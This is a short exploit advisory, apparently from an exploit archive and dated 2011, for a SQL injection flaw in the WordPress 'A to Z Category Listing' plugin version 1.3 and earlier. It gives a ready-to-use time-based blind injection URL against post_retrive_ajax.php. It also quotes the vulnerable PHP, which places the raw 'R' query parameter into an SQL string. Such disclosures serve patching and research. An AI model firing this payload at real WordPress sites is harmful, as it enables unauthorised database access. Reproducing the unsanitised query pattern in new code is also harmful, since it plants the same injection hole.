# Exploit Title: WordPress A to Z Category Listing plugin <= 1.3 SQL Injection Vulnerability
# Date: 2011-09-09
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
# Software Link: http://downloads.wordpress.org/plugin/a-to-z-category-listing.zip
# Version: 1.3 (tested)
# Note: magic_quotes has to be turned off

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PoC
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http://www.site.com/wp-content/plugins/a-to-z-category-listing/post_retrive_ajax.php?R=-1' AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)--%20

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Vulnerable code
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$init_letter = $_GET['R'];
$sql = "select * from ".$table_prefix."terms wpt,".$table_prefix."term_taxonomy wptt where wpt.name like '".$init_letter."%' and wptt.taxonomy = 'category' and wpt.term_id = wptt.term_id";
...
$sql_rec = $wpdb->get_results($sql);